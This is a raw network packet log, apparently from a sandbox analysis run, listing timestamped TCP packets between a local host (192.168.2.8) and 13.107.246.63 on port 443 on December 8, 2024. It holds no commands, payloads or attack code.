Dec 8, 2024 10:48:02.394682884 CET	443	49811	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:02.395281076 CET	49811	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:02.395286083 CET	443	49811	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:02.398013115 CET	443	49813	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:02.398433924 CET	49813	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:02.398451090 CET	443	49813	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:02.398637056 CET	443	49812	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:02.398919106 CET	49813	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:02.398925066 CET	443	49813	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:02.399223089 CET	49812	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:02.399235964 CET	443	49812	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:02.399636030 CET	49812	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:02.399641991 CET	443	49812	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:02.401513100 CET	443	49814	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:02.401798964 CET	49814	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:02.401813984 CET	443	49814	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:02.402225971 CET	49814	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:02.402230978 CET	443	49814	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:02.817915916 CET	443	49811	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:02.818001986 CET	443	49811	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:02.818056107 CET	49811	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:02.819582939 CET	443	49810	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:02.819607973 CET	443	49810	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:02.819662094 CET	443	49810	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:02.819663048 CET	49810	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:02.819706917 CET	49810	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:02.833304882 CET	443	49812	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:02.833368063 CET	443	49812	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:02.833457947 CET	49812	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:02.838073969 CET	443	49813	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:02.838099957 CET	443	49813	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:02.838182926 CET	49813	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:02.838197947 CET	443	49813	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:02.840245962 CET	443	49813	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:02.840703011 CET	49813	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:02.841429949 CET	443	49814	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:02.841448069 CET	443	49814	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:02.841528893 CET	49814	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:02.841546059 CET	443	49814	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:02.841612101 CET	49814	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:02.846103907 CET	443	49814	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:02.846147060 CET	443	49814	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:02.846261024 CET	49814	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:02.950474977 CET	49811	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:02.950506926 CET	443	49811	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:02.952549934 CET	49814	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:02.952568054 CET	443	49814	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:02.952613115 CET	49814	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:02.952620029 CET	443	49814	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:02.954346895 CET	49810	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:02.954387903 CET	443	49810	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:02.954402924 CET	49810	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:02.954411030 CET	443	49810	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:02.956306934 CET	49812	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:02.956319094 CET	443	49812	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:02.957556963 CET	49813	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:02.957556963 CET	49813	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:02.957577944 CET	443	49813	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:02.957591057 CET	443	49813	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:02.965018034 CET	49815	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:02.965044975 CET	443	49815	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:02.965157032 CET	49815	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:02.967685938 CET	49816	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:02.967720985 CET	443	49816	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:02.967789888 CET	49816	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:02.968664885 CET	49817	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:02.968687057 CET	443	49817	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:02.968740940 CET	49817	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:02.969264984 CET	49815	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:02.969278097 CET	443	49815	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:02.970227957 CET	49818	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:02.970238924 CET	443	49818	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:02.970431089 CET	49818	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:02.970547915 CET	49818	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:02.970552921 CET	443	49818	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:02.970778942 CET	49816	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:02.970793009 CET	443	49816	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:02.971306086 CET	49819	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:02.971321106 CET	443	49819	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:02.971364975 CET	49819	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:02.971580029 CET	49819	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:02.971585035 CET	443	49819	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:02.971803904 CET	49817	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:02.971812010 CET	443	49817	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:04.685065985 CET	443	49816	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:04.685148954 CET	443	49815	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:04.685719013 CET	49816	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:04.685731888 CET	443	49816	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:04.685790062 CET	49815	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:04.685810089 CET	443	49815	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:04.686192036 CET	443	49818	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:04.686316967 CET	49815	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:04.686321974 CET	443	49815	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:04.686491013 CET	49816	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:04.686499119 CET	443	49816	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:04.686599016 CET	443	49819	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:04.686753988 CET	49818	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:04.686763048 CET	443	49818	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:04.687469959 CET	49818	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:04.687477112 CET	443	49818	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:04.687545061 CET	49819	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:04.687561035 CET	443	49819	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:04.688066006 CET	49819	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:04.688072920 CET	443	49819	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:04.689292908 CET	443	49817	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:04.690007925 CET	49817	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:04.690027952 CET	443	49817	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:04.690485001 CET	49817	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:04.690493107 CET	443	49817	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:05.118221998 CET	443	49816	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:05.119676113 CET	443	49818	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:05.119743109 CET	443	49818	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:05.119843960 CET	49818	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:05.120105982 CET	49818	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:05.120130062 CET	443	49818	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:05.120188951 CET	49818	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:05.120197058 CET	443	49818	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:05.121712923 CET	443	49816	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:05.121812105 CET	49816	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:05.122005939 CET	49816	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:05.122005939 CET	49816	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:05.122013092 CET	443	49816	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:05.122021914 CET	443	49816	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:05.122567892 CET	443	49819	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:05.122642994 CET	443	49819	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:05.122757912 CET	443	49817	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:05.122803926 CET	49819	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:05.122828007 CET	443	49817	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:05.122940063 CET	49817	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:05.123837948 CET	443	49815	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:05.123851061 CET	443	49815	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:05.123861074 CET	49819	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:05.123878956 CET	443	49819	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:05.123900890 CET	49819	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:05.123907089 CET	443	49819	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:05.124042034 CET	49820	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:05.124047041 CET	49815	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:05.124063015 CET	443	49815	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:05.124080896 CET	443	49820	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:05.124161959 CET	49820	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:05.124209881 CET	49817	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:05.124218941 CET	443	49817	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:05.124250889 CET	49817	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:05.124258041 CET	443	49817	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:05.124960899 CET	443	49815	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:05.125020027 CET	49815	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:05.125020027 CET	49815	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:05.125040054 CET	49815	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:05.125050068 CET	443	49815	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:05.125521898 CET	49820	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:05.125544071 CET	443	49820	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:05.127521038 CET	49821	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:05.127552986 CET	443	49821	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:05.127651930 CET	49821	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:05.127823114 CET	49821	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:05.127837896 CET	443	49821	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:05.128498077 CET	49822	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:05.128525019 CET	443	49822	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:05.128601074 CET	49822	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:05.128802061 CET	49823	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:05.128812075 CET	443	49823	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:05.128864050 CET	49823	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:05.129122972 CET	49822	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:05.129139900 CET	443	49822	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:05.129302025 CET	49823	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:05.129312992 CET	443	49823	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:05.129822969 CET	49824	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:05.129864931 CET	443	49824	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:05.129925966 CET	49824	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:05.130086899 CET	49824	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:05.130100012 CET	443	49824	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:06.837511063 CET	443	49820	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:06.838561058 CET	49820	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:06.838561058 CET	49820	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:06.838587999 CET	443	49820	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:06.838620901 CET	443	49820	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:06.839390039 CET	443	49821	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:06.840286016 CET	49821	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:06.840317011 CET	443	49821	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:06.840900898 CET	49821	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:06.840917110 CET	443	49821	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:06.842386007 CET	443	49822	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:06.842509031 CET	443	49823	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:06.842837095 CET	49822	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:06.842850924 CET	443	49822	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:06.843401909 CET	49823	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:06.843416929 CET	49822	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:06.843424082 CET	443	49822	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:06.843430996 CET	443	49823	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:06.843831062 CET	49823	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:06.843846083 CET	443	49823	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:06.850795984 CET	443	49824	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:06.851334095 CET	49824	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:06.851368904 CET	443	49824	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:06.851852894 CET	49824	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:06.851859093 CET	443	49824	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:07.282782078 CET	443	49820	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:07.282963991 CET	443	49820	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:07.283021927 CET	49820	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:07.283076048 CET	443	49821	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:07.283220053 CET	443	49823	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:07.283977032 CET	49820	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:07.283998966 CET	443	49820	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:07.284008980 CET	443	49822	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:07.284010887 CET	49820	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:07.284017086 CET	443	49820	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:07.286585093 CET	443	49821	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:07.286696911 CET	49821	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:07.286840916 CET	443	49823	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:07.286962032 CET	49823	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:07.286967039 CET	443	49822	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:07.287106037 CET	49822	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:07.287586927 CET	49821	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:07.287601948 CET	443	49821	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:07.287614107 CET	49821	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:07.287621021 CET	443	49821	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:07.288176060 CET	49825	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:07.288219929 CET	443	49825	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:07.288240910 CET	49823	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:07.288245916 CET	443	49823	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:07.288269997 CET	49823	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:07.288275003 CET	443	49823	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:07.288290977 CET	49825	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:07.288525105 CET	49822	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:07.288536072 CET	443	49822	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:07.289618969 CET	49825	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:07.289635897 CET	443	49825	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:07.290817976 CET	49826	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:07.290875912 CET	443	49826	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:07.290931940 CET	49827	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:07.290941000 CET	443	49827	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:07.290965080 CET	49826	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:07.291002035 CET	49827	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:07.291107893 CET	49826	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:07.291124105 CET	443	49826	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:07.291429043 CET	49827	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:07.291438103 CET	443	49827	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:07.292243958 CET	49828	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:07.292269945 CET	443	49828	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:07.292325974 CET	49828	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:07.292438030 CET	49828	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:07.292450905 CET	443	49828	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:07.347764015 CET	443	49824	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:07.351598978 CET	443	49824	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:07.351684093 CET	49824	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:07.351717949 CET	49824	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:07.351739883 CET	443	49824	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:07.351778984 CET	49824	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:07.351785898 CET	443	49824	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:07.356693983 CET	49829	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:07.356741905 CET	443	49829	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:07.356816053 CET	49829	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:07.357003927 CET	49829	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:07.357013941 CET	443	49829	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:09.003403902 CET	443	49825	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:09.004080057 CET	49825	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:09.004106998 CET	443	49825	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:09.005013943 CET	443	49827	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:09.005044937 CET	49825	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:09.005049944 CET	443	49825	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:09.005448103 CET	443	49826	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:09.005475998 CET	49827	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:09.005484104 CET	443	49827	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:09.005984068 CET	49827	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:09.005986929 CET	443	49827	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:09.005991936 CET	49826	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:09.006035089 CET	443	49826	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:09.006360054 CET	49826	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:09.006370068 CET	443	49826	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:09.006772041 CET	443	49828	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:09.010895967 CET	49828	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:09.010917902 CET	443	49828	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:09.011339903 CET	49828	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:09.011344910 CET	443	49828	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:09.070774078 CET	443	49829	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:09.071279049 CET	49829	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:09.071305037 CET	443	49829	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:09.071794033 CET	49829	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:09.071806908 CET	443	49829	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:09.436594963 CET	443	49825	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:09.436750889 CET	443	49825	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:09.436817884 CET	49825	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:09.437031031 CET	49825	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:09.437048912 CET	443	49825	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:09.437068939 CET	49825	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:09.437074900 CET	443	49825	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:09.437870979 CET	443	49827	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:09.440308094 CET	443	49828	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:09.440740108 CET	443	49826	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:09.440767050 CET	49830	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:09.440789938 CET	443	49826	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:09.440802097 CET	443	49830	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:09.440844059 CET	49826	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:09.440866947 CET	49830	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:09.440993071 CET	49826	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:09.441016912 CET	443	49826	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:09.441030025 CET	49826	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:09.441035986 CET	443	49826	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:09.441193104 CET	49830	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:09.441205025 CET	443	49830	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:09.441709995 CET	443	49827	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:09.441760063 CET	443	49827	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:09.441771030 CET	49827	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:09.441814899 CET	49827	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:09.441912889 CET	49827	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:09.441929102 CET	443	49827	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:09.441941977 CET	49827	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:09.441946983 CET	443	49827	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:09.443572998 CET	49831	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:09.443600893 CET	443	49831	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:09.443700075 CET	49831	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:09.443794966 CET	443	49828	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:09.443795919 CET	49832	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:09.443835974 CET	443	49832	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:09.443852901 CET	49828	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:09.443881035 CET	49832	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:09.443898916 CET	49831	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:09.443912983 CET	443	49831	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:09.444019079 CET	49832	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:09.444020033 CET	49828	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:09.444032907 CET	443	49832	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:09.444036007 CET	443	49828	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:09.444053888 CET	49828	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:09.444060087 CET	443	49828	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:09.446793079 CET	49833	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:09.446819067 CET	443	49833	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:09.446875095 CET	49833	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:09.447000027 CET	49833	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:09.447012901 CET	443	49833	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:09.503856897 CET	443	49829	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:09.507873058 CET	443	49829	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:09.507946014 CET	443	49829	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:09.507986069 CET	49829	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:09.508044004 CET	49829	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:09.508127928 CET	49829	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:09.508152962 CET	443	49829	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:09.508164883 CET	49829	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:09.508171082 CET	443	49829	13.107.246.63	192.168.2.8
Dec 8, 2024 10:48:09.512073040 CET	49834	443	192.168.2.8	13.107.246.63
Dec 8, 2024 10:48:09.512120962 CET	443	49834	13.107.246.63	192.168.2.8
